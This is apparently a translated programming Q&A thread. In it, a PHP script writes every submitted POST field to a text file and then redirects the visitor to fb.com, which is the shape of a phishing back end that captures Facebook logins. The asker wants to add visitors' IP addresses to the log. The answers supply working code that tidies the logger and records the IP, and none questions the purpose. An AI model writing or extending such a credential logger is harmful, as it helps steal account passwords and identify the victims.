远程IP并将其发布到文本文件

时间:2013-12-29 08:24:02

标签: php ip-address

请问如何使用PHP

获取远程IP地址

我有这个PHP文件

<?php
 header("Location: http://fb.com/ ");
 $handle = fopen("test.txt", "a");
 foreach($_POST as $variable => $value) {
  fwrite($handle, $variable);
  fwrite($handle, "=");
  fwrite($handle, $value);
  fwrite($handle, "\r\n");
 }
 fwrite($handle, "\r\n");
 fclose($handle);
 exit;
?>

如何添加代码以获取REMOTE地址并在$ _POST变量的同一文本文件上发布?

3 个答案:

答案 0 :(得分:1)

  1. 使用$_SERVER['REMOTE_ADDR']获取请求用户计算机的IP。

  2. 更改脚本,使其逻辑更简短透明:

    <?php
    $handle = fopen('test.txt', 'a');
    
    foreach($_POST as $variable => $value) {
        fwrite($handle, $variable . '=' . $value . PHP_EOL);
    }
    
    fwrite($handle, 'REMOTE IP: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL);
    fclose($handle);
    
    header('Location: http://fb.com/');
    exit;
    ?>
    

答案 1 :(得分:1)

好像你正在寻找某个网站http://fb.com的IP地址...如果是这样的话......在一行中这样做。

<?php
file_put_contents('yourfile.txt',gethostbyname('google.com'),FILE_APPEND);// replace google.com with the website which you are looking to grab the ip.

或者,如果您想要获取请求您的页面的远程机器的起始地址..您可以这样做..

<?php
file_put_contents('yourfile.txt',$_SERVER['REMOTE_ADDR'],FILE_APPEND);

答案 2 :(得分:0)

使用此命令获取远程IP地址:

$remoteIpAddress = $_SERVER['REMOTE_ADDR'];

http://php.net/manual/en/reserved.variables.server.php

或者,如果您想通过主机名获取IP地址:

$remoteIpAddress  = gethostbyname('www.example.com');